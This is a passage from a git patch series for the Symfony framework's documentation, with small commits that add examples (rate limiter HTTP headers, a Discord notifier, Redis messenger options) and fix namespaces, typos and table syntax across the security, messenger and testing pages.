index 6fa7192945f..527357cc011 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -212,6 +212,50 @@ processes by reserving unused tokens.
             $limit->wait();
         } while (!$limit->isAccepted());
 
+Exposing the Rate Limiter Status
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When using a rate limiter in APIs, it's common to include some standard HTTP
+headers in the response to expose the limit status (e.g. remaining tokens, when
+new tokens will be available, etc.)
+
+Use the :class:`Symfony\\Component\\RateLimiter\\RateLimit` object returned by
+the ``consume()`` method (also available via the ``getRateLimit()`` method of
+the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
+``reserve()`` method) to get the value of those HTTP headers::
+
+    // src/Controller/ApiController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\RateLimiter\RateLimiter;
+
+    class ApiController extends AbstractController
+    {
+        public function index(RateLimiter $anonymousApiLimiter)
+        {
+            $limiter = $anonymousApiLimiter->create($request->getClientIp());
+            $limit = $limiter->consume();
+            $headers = [
+                'X-RateLimit-Remaining' => $limit->getRemainingTokens(),
+                'X-RateLimit-Retry-After' => $limit->getRetryAfter()->getTimestamp(),
+                'X-RateLimit-Limit' => $limit->getLimit(),
+            ];
+
+            if (false === $limit->isAccepted()) {
+                return new Response(null, Response::HTTP_TOO_MANY_REQUESTS, $headers);
+            }
+
+            // ...
+
+            $reponse = new Response('...');
+            $response->headers->add($headers);
+
+            return $response;
+        }
+    }
+
 Rate Limiter Storage and Locking
 --------------------------------
 

From 809b7a0e63d9dfb743c6aaea9f6bda485bb3de2a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Oct 2020 09:56:38 +0200
Subject: [PATCH 0042/5766] [Lock] Mention the priority policy of shared locks

---
 components/lock.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/lock.rst b/components/lock.rst
index 518a01c9375..3a92184c85e 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -237,6 +237,11 @@ to acquire the lock in a blocking mode::
     $lock = $factory->createLock('user'.$user->id);
     $lock->acquireRead(true);
 
+.. note::
+
+    The `priority policy`_ of Symfony's shared locks depends on the underlying
+    store (e.g. Redis store prioritizes readers vs writers).
+
 When a read-only lock is acquired with the method ``acquireRead()``, it's
 possible to **promote** the lock, and change it to write lock, by calling the
 ``acquire()`` method::
@@ -915,3 +920,4 @@ are still running.
 .. _`Replica Set Read and Write Semantics`: https://docs.mongodb.com/manual/applications/replication/
 .. _`ZooKeeper`: https://zookeeper.apache.org/
 .. _`readers–writer lock`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock
+.. _`priority policy`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock#Priority_policies

From 864cefbc7a34d3b313019f2c415e2a27d81ff4bd Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Tue, 9 Jun 2020 22:46:45 +0200
Subject: [PATCH 0043/5766] Update the Snippet with the UserUpgraderInterface

---
 security/user_provider.rst | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

diff --git a/security/user_provider.rst b/security/user_provider.rst
index 13e6a8dfb49..07227868afe 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -356,10 +356,11 @@ command will generate a nice skeleton to get you started::
 
     use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
     use Symfony\Component\Security\Core\Exception\UsernameNotFoundException;
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
     use Symfony\Component\Security\Core\User\UserProviderInterface;
 
-    class UserProvider implements UserProviderInterface
+    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
     {
         /**
          * Symfony calls this method if you use features like switch_user
@@ -412,6 +413,16 @@ command will generate a nice skeleton to get you started::
         {
             return User::class === $class || is_subclass_of($class, User::class);
         }
+        
+        /**
+         * Upgrades the encoded password of a user, typically for using a better hash algorithm.
+         */
+        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        {
+            // TODO: when encoded passwords are in use, this method should:
+            // 1. persist the new password in the user storage
+            // 2. update the $user object with $user->setPassword($newEncodedPassword);
+        }
     }
 
 Most of the work is already done! Read the comments in the code and update the

From 17af86e24d25421f43d61fc019b263739218a7ca Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Dalibor=20Karlovi=C4=87?= <dalibor.karlovic@flexolabs.io>
Date: Thu, 22 Oct 2020 15:45:29 +0200
Subject: [PATCH 0044/5766] Correct English word order

---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 921a45f7226..9dd6fe205b9 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -443,7 +443,7 @@ And here is the controller::
     To use the cookie authentication method, the Symfony app and the Hub
     must be served from the same domain (can be different sub-domains).
 
-Generating Programmatically The JWT Used to Publish
+Programmatically Generating The JWT Used to Publish
 ---------------------------------------------------
 
 Instead of directly storing a JWT in the configuration,

From 22345e0b151835cbd86c4de6bc8be7fccdd1fe22 Mon Sep 17 00:00:00 2001
From: gary houbre <ghoubre@sqli.com>
Date: Mon, 5 Oct 2020 21:24:25 +0200
Subject: [PATCH 0045/5766] Fix missing namespace and other wrong wording from
 Security and Serializer context

---
 security/access_denied_handler.rst          | 1 +
 security/csrf.rst                           | 3 +++
 security/custom_authentication_provider.rst | 8 ++++++++
 security/form_login.rst                     | 1 +
 security/form_login_setup.rst               | 1 +
 security/guard_authentication.rst           | 7 ++++++-
 security/impersonating_user.rst             | 4 ++++
 security/json_login_setup.rst               | 1 +
 security/named_encoders.rst                 | 4 ++--
 serializer/custom_encoders.rst              | 1 +
 serializer/custom_normalizer.rst            | 1 +
 11 files changed, 29 insertions(+), 3 deletions(-)

diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index e9e780e75ef..e9fd7cb15f5 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -13,6 +13,7 @@ This interface defines one method called ``handle()`` where you can implement wh
 logic that should run when access is denied for the current user (e.g. send a
 mail, log a message, or generally return a custom response)::
 
+    // src/Security/AccessDeniedHandler.php
     namespace App\Security;
 
     use Symfony\Component\HttpFoundation\Request;
diff --git a/security/csrf.rst b/security/csrf.rst
index d54bfc43770..9da64168379 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -83,6 +83,9 @@ protected against CSRF attacks.
 By default Symfony adds the CSRF token in a hidden field called ``_token``, but
 this can be customized on a form-by-form basis::
 
+    // src/Form/TaskType.php
+    namespace App\Form;
+    
     // ...
     use App\Entity\Task;
     use Symfony\Component\OptionsResolver\OptionsResolver;
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index d0db9c91168..920c8315f05 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -538,6 +538,11 @@ can have different timeout lengths.
 You will first need to edit ``WsseFactory`` and define the new option in
 the ``addConfiguration()`` method::
 
+    // src/DependencyInjection/Security/Factory/WsseFactory.php
+    namespace App\DependencyInjection\Security\Factory;
+
+    // ...
+
     class WsseFactory implements SecurityFactoryInterface
     {
         // ...
@@ -556,6 +561,9 @@ contain a ``lifetime`` key, set to 5 minutes (300 seconds) unless otherwise
 set in the configuration. Pass this argument to your authentication provider
 in order to put it to use::
 
+    // src/DependencyInjection/Security/Factory/WsseFactory.php
+    namespace App\DependencyInjection\Security\Factory;
+    
     use App\Security\Authentication\Provider\WsseProvider;
 
     class WsseFactory implements SecurityFactoryInterface
diff --git a/security/form_login.rst b/security/form_login.rst
index cd53d277c88..374e21a78b7 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -93,6 +93,7 @@ configuration (``login``):
     .. code-block:: php-annotations
 
         // src/Controller/SecurityController.php
+        namespace App\Controller;
 
         // ...
         use Symfony\Component\Routing\Annotation\Route;
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index abbbb6eb1f2..f1f646fad47 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -477,6 +477,7 @@ If you also want to apply this behavior to public pages, you can create an
 :doc:`event subscriber </event_dispatcher>` to set the target path manually
 whenever the user browses a page::
 
+    // src/EventSubscriber/RequestSubscriber.php
     namespace App\EventSubscriber;
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index edbd6f122ee..7a6a25b9618 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -28,6 +28,8 @@ your ``User`` class (the ``make:entity`` command is a good way to do this):
 .. code-block:: diff
 
     // src/Entity/User.php
+    namespace App\Entity;
+
     // ...
 
     class User implements UserInterface
@@ -411,6 +413,8 @@ You can throw this from ``getCredentials()``, ``getUser()`` or ``checkCredential
 to cause a failure::
 
     // src/Security/TokenAuthenticator.php
+    namespace App\Security;
+
     // ...
 
     use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
@@ -453,8 +457,9 @@ completes registration. To do that, use your authenticator and a service called
 ``GuardAuthenticatorHandler``::
 
     // src/Controller/RegistrationController.php
+    namespace App\Controller;
+    
     // ...
-
     use App\Security\LoginFormAuthenticator;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\Security\Guard\GuardAuthenticatorHandler;
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 308ed5b1e58..5f44a7fad23 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -113,6 +113,9 @@ stored in the token storage will be a ``SwitchUserToken`` instance. Use the
 following snippet to obtain the original token which gives you access to
 the impersonator user::
 
+    // src/Service/SomeService.php
+    namespace App\Service;
+
     use Symfony\Component\Security\Core\Authentication\Token\SwitchUserToken;
     use Symfony\Component\Security\Core\Security;
     // ...
@@ -256,6 +259,7 @@ be called):
 Then, create a voter class that responds to this role and includes whatever custom
 logic you want::
 
+    // src/Service/Voter/SwitchToCustomerVoter.php
     namespace App\Security\Voter;
 
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index e1ec17e8587..a4be5dac0e7 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -65,6 +65,7 @@ The next step is to configure a route in your app matching this path:
     .. code-block:: php-annotations
 
         // src/Controller/SecurityController.php
+        namespace App\Controller;
 
         // ...
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
diff --git a/security/named_encoders.rst b/security/named_encoders.rst
index aad4d740fb1..22bc333dec4 100644
--- a/security/named_encoders.rst
+++ b/security/named_encoders.rst
@@ -117,8 +117,8 @@ to use it, the class must implement
 The interface requires one method - ``getEncoderName()`` - which should return
 the name of the encoder to use::
 
-    // src/Acme/UserBundle/Entity/User.php
-    namespace Acme\UserBundle\Entity;
+    // src/Entity/User.php
+    namespace App\Entity;
 
     use Symfony\Component\Security\Core\Encoder\EncoderAwareInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 5bb78def4e4..4c08b410dbd 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -19,6 +19,7 @@ Imagine you want to serialize and deserialize YAML. For that you'll have to
 create your own encoder that uses the
 :doc:`Yaml Component </components/yaml>`::
 
+    // src/Serializer/YamlEncoder.php
     namespace App\Serializer;
 
     use Symfony\Component\Serializer\Encoder\DecoderInterface;
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 9f2e50fdcf1..6ee7d870ed5 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -17,6 +17,7 @@ process. For that you'll have to create your own normalizer. But it's usually
 preferable to let Symfony normalize the object, then hook into the normalization
 to customize the normalized data. To do that, leverage the ``ObjectNormalizer``::
 
+    // src/Serializer/TopicNormalizer.php
     namespace App\Serializer;
 
     use App\Entity\Topic;

From 269f500c45bf4ae3654d5edb92825c9d4e0c66ae Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Oct 2020 17:41:24 +0200
Subject: [PATCH 0046/5766] Added missing namespace

---
 security/experimental_authenticators.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 83b3199d9ef..8a1b6081d84 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -472,6 +472,9 @@ the following badges are supported:
 For instance, if you want to add CSRF and password migration to your custom
 authenticator, you would initialize the passport like this::
 
+    // src/Service/LoginAuthenticator.php
+    namespace App\Service;
+
     // ...
     use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;

From e912f23b557bd56ed1c7c296f12b178f48e6dfb5 Mon Sep 17 00:00:00 2001
From: TavoNiievez <64917965+TavoNiievez@users.noreply.github.com>
Date: Thu, 22 Oct 2020 13:54:00 -0500
Subject: [PATCH 0047/5766] Typo in impersonator role

The correct role is 'IS_IMPERSONATOR'.
---
 components/security/authorization.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index c074cf14b75..b884ce97ac0 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -114,12 +114,12 @@ user fully authenticated, or only based on a "remember-me" cookie, or even
 authenticated anonymously?
 
 It also supports the attributes ``IS_ANONYMOUS``, ``IS_REMEMBERED``,
-``IS_IMPERSONATED`` to grant access based on a specific state of
+``IS_IMPERSONATOR`` to grant access based on a specific state of
 authentication.
 
 .. versionadded:: 5.1
 
-    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATED``
+    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
     attributes were introduced in Symfony 5.1.
 
 ::

From 745af3cc386fa7efd71a95f6d605138f692f8c21 Mon Sep 17 00:00:00 2001
From: Przemek Maszczynski <gh@entio.me>
Date: Thu, 22 Oct 2020 22:46:13 +0200
Subject: [PATCH 0048/5766] Removed duplicate method

---
 security/form_login_setup.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index f1f646fad47..768ce725a72 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -77,14 +77,6 @@ class that processes the login submit and 4) updates the main security config fi
             return $this->render('security/login.html.twig', ['last_username' => $lastUsername, 'error' => $error]);
         }
 
-        /**
-         * @Route("/logout", name="app_logout")
-         */
-        public function logout()
-        {
-            throw new \Exception('This method can be blank - it will be intercepted by the logout key on your firewall');
-        }
-
         /**
          * @Route("/logout", name="app_logout")
          */

From c630bcb1739638120d1fc7bf2c62c0f14bc7ee1e Mon Sep 17 00:00:00 2001
From: Mathieu Piot <math.piot@gmail.com>
Date: Fri, 17 Apr 2020 13:51:19 +0200
Subject: [PATCH 0049/5766] Add Discord notifier

---
 notifier.rst          |  3 ++-
 notifier/chatters.rst | 53 +++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 55 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 9d0b5148553..d79933b7188 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -139,6 +139,7 @@ integration with these chat services:
 ==========  ================================  ===========================================================================
 Service     Package                           DSN
 ==========  ================================  ===========================================================================
+Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?threadKey=THREAD_KEY``
 LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
@@ -156,7 +157,7 @@ Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:APIKEY@ENDPOINT?ch
 
 .. versionadded:: 5.2
 
-    The GoogleChat, LinkedIn and Zulip integrations were introduced in Symfony 5.2.
+    The GoogleChat, LinkedIn, Zulip and Discord integrations were introduced in Symfony 5.2.
 
 Chatters are configured using the ``chatter_transports`` setting:
 
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index efbd040593e..b37d17c2040 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -99,3 +99,56 @@ some interactive options called `Block elements`_::
     $chatter->send($chatMessage);
 
 .. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
+
+Adding Interactions to a Discord Message
+--------------------------------------
+
+With a Discord message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` to add
+some interactive options called `Embed elements`_::
+
+    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordEmbed;
+    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordFieldEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordFooterEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordMediaEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Create Discord Embed
+    $discordOptions = (new DiscordOptions())
+        ->username('connor bot')
+        ->addEmbed((new DiscordEmbed())
+            ->color(2021216)
+            ->title('New song added!')
+            ->thumbnail((new DiscordMediaEmbedObject())
+            ->url('https://i.scdn.co/image/ab67616d0000b2735eb27502aa5cb1b4c9db426b'))
+            ->addField((new DiscordFieldEmbedObject())
+                ->name('Track')
+                ->value('[Common Ground](https://open.spotify.com/track/36TYfGWUhIRlVjM8TxGUK6)')
+                ->inline(true)
+            )
+            ->addField((new DiscordFieldEmbedObject())
+                ->name('Artist')
+                ->value('Alasdair Fraser')
+                ->inline(true)
+            )
+            ->addField((new DiscordFieldEmbedObject())
+                ->name('Album')
+                ->value('Dawn Dance')
+                ->inline(true)
+            )
+            ->footer((new DiscordFooterEmbedObject())
+                ->text('Added ...')
+                ->iconUrl('https://upload.wikimedia.org/wikipedia/commons/thumb/1/19/Spotify_logo_without_text.svg/200px-Spotify_logo_without_text.svg.png')
+            )
+        )
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($discordOptions);
+
+    $chatter->send($chatMessage);
+
+.. _`Embed elements`: https://discord.com/developers/docs/resources/webhook

From bf6cca937f6c2e96a0e9a2deeeae0fc768b8a764 Mon Sep 17 00:00:00 2001
From: Baptiste Leduc <baptiste.leduc@gmail.com>
Date: Fri, 23 Oct 2020 13:45:06 +0200
Subject: [PATCH 0050/5766] Non-standard adder/remover methods

---
 components/property_access.rst | 39 ++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

diff --git a/components/property_access.rst b/components/property_access.rst
index df0f3d99b51..741d3023ad5 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -394,6 +394,45 @@ and ``removeChild()`` methods to access to the ``children`` property.
 
 If available, *adder* and *remover* methods have priority over a *setter* method.
 
+Using non-standard adder/remover methods
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sometimes, adder and remover methods don't use the standard ``add`` or ``remove`` prefix, like in this example::
+
+    // ...
+    class PeopleList
+    {
+        // ...
+
+        public function joinPeople(string $people): void
+        {
+            $this->peoples[] = $people;
+        }
+
+        public function leavePeople(string $people): void
+        {
+            foreach ($this->peoples as $id => $item) {
+                if ($people === $item) {
+                    unset($this->peoples[$id]);
+                    break;
+                }
+            }
+        }
+    }
+
+    use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor;
+    use Symfony\Component\PropertyAccess\PropertyAccessor;
+
+    $list = new PeopleList();
+    $reflectionExtractor = new ReflectionExtractor(null, null, ['join', 'leave']);
+    $propertyAccessor = new PropertyAccessor(false, false, null, true, $reflectionExtractor, $reflectionExtractor);
+    $propertyAccessor->setValue($person, 'peoples', ['kevin', 'wouter']);
+
+    var_dump($person->getPeoples()); // ['kevin', 'wouter']
+
+Instead of calling ``add<SingularOfThePropertyName>()`` and ``remove<SingularOfThePropertyName>()``, the PropertyAccess
+component will call ``join<SingularOfThePropertyName>()`` and ``leave<SingularOfThePropertyName>()`` methods.
+
 Checking Property Paths
 -----------------------
 

From 3194c224966f6764057d166f7bf9997e689d77b5 Mon Sep 17 00:00:00 2001
From: Robin Chalas <robin.chalas@gmail.com>
Date: Fri, 23 Oct 2020 13:51:30 +0200
Subject: [PATCH 0051/5766] [Security] Remove extra argument from call to
 EntityManager#flush()

---
 security/password_migration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/password_migration.rst b/security/password_migration.rst
index 9553d46de5a..bb77a0504ab 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -190,7 +190,7 @@ storing the newly created password hash::
             $user->setPassword($newEncodedPassword);
 
             // execute the queries on the database
-            $this->getEntityManager()->flush($user);
+            $this->getEntityManager()->flush();
         }
     }
 

From 8fe20c33a49ba1bd21de5eb78477752e5c6fdd1b Mon Sep 17 00:00:00 2001
From: Toni Rudolf <toni.rudolf@gmail.com>
Date: Mon, 3 Feb 2020 17:24:10 +0100
Subject: [PATCH 0052/5766] Added redeliver_timeout and claim_interval options

---
 messenger.rst | 24 ++++++++++++++++++++----
 1 file changed, 20 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 54c7fb200a5..9917e5d7c28 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1038,9 +1038,9 @@ a running Redis server (^5.0).
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
-==================  =====================================  =========================
-     Option               Description                      Default
-==================  =====================================  =========================
+===================  =====================================  =================================
+     Option               Description                       Default
+===================  =====================================  =================================
 stream              The Redis stream name                  messages
 group               The Redis consumer group name          symfony
 consumer            Consumer name used in Redis            consumer
@@ -1056,7 +1056,23 @@ stream_max_entries  The maximum number of entries which    ``0`` (which means "n
                     it to a large enough number to
                     avoid losing pending messages
 tls                 Enable TLS support for the connection  false
-==================  =====================================  =========================
+redeliver_timeout    Timeout before retrying a pending      ``3600``
+                     message which is owned by an
+                     abandoned consumer (if a worker died
+                     for some reason, this will occur,
+                     eventually you should retry the
+                     message) - in seconds.
+claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
+                     messages should be checked for to
+                     claim - in milliseconds
+===================  =====================================  =================================
+
+.. caution::
+
+    There should never be more than one `messenger:consume` command running with the same
+    config (stream, group and consumer name) to avoid having a message handled more than once.
+    Using the ``HOSTNAME`` as the consumer might often be a good idea. In case you are using
+    Kubernetes to orchestrate your containers, consider using a ``StatefulSet``.
 
 .. tip::
 

From d6988a76ee403c23382fd420dd60dcc69fb083f3 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 23 Oct 2020 15:05:47 +0200
Subject: [PATCH 0053/5766] [#12976] Minor syntax fix

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 9917e5d7c28..78d09d50e9a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1069,7 +1069,7 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 
 .. caution::
 
-    There should never be more than one `messenger:consume` command running with the same
+    There should never be more than one ``messenger:consume`` command running with the same
     config (stream, group and consumer name) to avoid having a message handled more than once.
     Using the ``HOSTNAME`` as the consumer might often be a good idea. In case you are using
     Kubernetes to orchestrate your containers, consider using a ``StatefulSet``.

From 08496685d725a48630e0a019e11188cd1c7c1c91 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 23 Oct 2020 15:08:55 +0200
Subject: [PATCH 0054/5766] [#12976] Added the new options to the versionadded
 directive

---
 messenger.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 78d09d50e9a..3dce638cd70 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1083,7 +1083,8 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 
 .. versionadded:: 5.1
 
-    The ``delete_after_ack`` option was introduced in Symfony 5.1.
+    The ``delete_after_ack``, ``redeliver_timeout`` and ``claim_interval``
+    options were introduced in Symfony 5.1.
 
 In Memory Transport
 ~~~~~~~~~~~~~~~~~~~

From f79b26828e2bed575c0fbecf3860b9893103efe4 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 23 Oct 2020 15:14:37 +0200
Subject: [PATCH 0055/5766] Syntax fix

---
 notifier/chatters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index b37d17c2040..9d03f83987c 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -101,7 +101,7 @@ some interactive options called `Block elements`_::
 .. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
 
 Adding Interactions to a Discord Message
---------------------------------------
+----------------------------------------
 
 With a Discord message, you can use the
 :class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` to add

From 55a6ad049d3c17b4a9c651aa5ecdf4dab5bec5c2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 Oct 2020 15:24:54 +0200
Subject: [PATCH 0056/5766] Fixed a syntax issue

---
 messenger.rst | 30 +++++++++++++++---------------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index f2c2a8b65be..7f74be71dd6 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1160,21 +1160,21 @@ under the transport in ``messenger.yaml``:
 ===================  =====================================  =================================
      Option               Description                       Default
 ===================  =====================================  =================================
-stream              The Redis stream name                  messages
-group               The Redis consumer group name          symfony
-consumer            Consumer name used in Redis            consumer
-auto_setup          Create the Redis group automatically?  true
-auth                The Redis password
-delete_after_ack    If ``true``, messages are deleted      false
-                    automatically after processing them
-serializer          How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                    in Redis (the
-                    ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries  The maximum number of entries which    ``0`` (which means "no trimming")
-                    the stream will be trimmed to. Set
-                    it to a large enough number to
-                    avoid losing pending messages
-tls                 Enable TLS support for the connection  false
+stream               The Redis stream name                  messages
+group                The Redis consumer group name          symfony
+consumer             Consumer name used in Redis            consumer
+auto_setup           Create the Redis group automatically?  true
+auth                 The Redis password
+delete_after_ack     If ``true``, messages are deleted      false
+                     automatically after processing them
+serializer           How to serialize the final payload     ``Redis::SERIALIZER_PHP``
+                     in Redis (the
+                     ``Redis::OPT_SERIALIZER`` option)
+stream_max_entries   The maximum number of entries which    ``0`` (which means "no trimming")
+                     the stream will be trimmed to. Set
+                     it to a large enough number to
+                     avoid losing pending messages
+tls                  Enable TLS support for the connection  false
 redeliver_timeout    Timeout before retrying a pending      ``3600``
                      message which is owned by an
                      abandoned consumer (if a worker died

From 436e2fc6183b80a5f39300d329b654f607ad25d0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 14 Aug 2020 15:06:43 +0200
Subject: [PATCH 0057/5766] [Testing] Updated the contents about getting the
 container in tests

---
 testing.rst | 91 ++++++++++++++++++++---------------------------------
 1 file changed, 34 insertions(+), 57 deletions(-)

diff --git a/testing.rst b/testing.rst
index 4b64d504631..d5d0941b1ea 100644
--- a/testing.rst
+++ b/testing.rst
@@ -544,74 +544,51 @@ You can also get the objects related to the latest request::
 Accessing the Container
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-It's highly recommended that a functional test only tests the response. But
-under certain very rare circumstances, you might want to access some services
-to write assertions. Given that services are private by default, test classes
-define a property that stores a special container created by Symfony which
-allows fetching both public and all non-removed private services::
-
-    // gives access to the same services used in your test, unless you're using
-    // $client->insulate() or using real HTTP requests to test your application
-    // don't forget to call self::bootKernel() before, otherwise, the container
-    // will be empty
-    $container = self::$container;
-
-For a list of services available in your application, use the ``debug:container``
-command.
-
-If a private service is *never* used in your application (outside of your test),
-it is *removed* from the container and cannot be accessed as described above. In
-that case, you can create a public alias in the ``test`` environment and access
-it via that alias:
+Functional tests should only test the response (e.g. its contents or its HTTP
+status code). However, in some rare circumstances you may need to access the
+container to use some service.
 
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services_test.yaml
-        services:
-            # access the service in your test via
-            # self::$container->get('test.App\Test\SomeTestHelper')
-            test.App\Test\SomeTestHelper:
-                # the id of the private service
-                alias: 'App\Test\SomeTestHelper'
-                public: true
+First, you can get the same container used in the application, which only
+includes the public services::
 
-    .. code-block:: xml
-
-        <!-- config/services_test.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+    public function testSomething()
+    {
+        $client = self::createClient();
+        $container = $client->getContainer();
+        // $someService = $container->get('the-service-ID');
 
-            <services>
-                <!-- ... -->
+        // ...
+    }
 
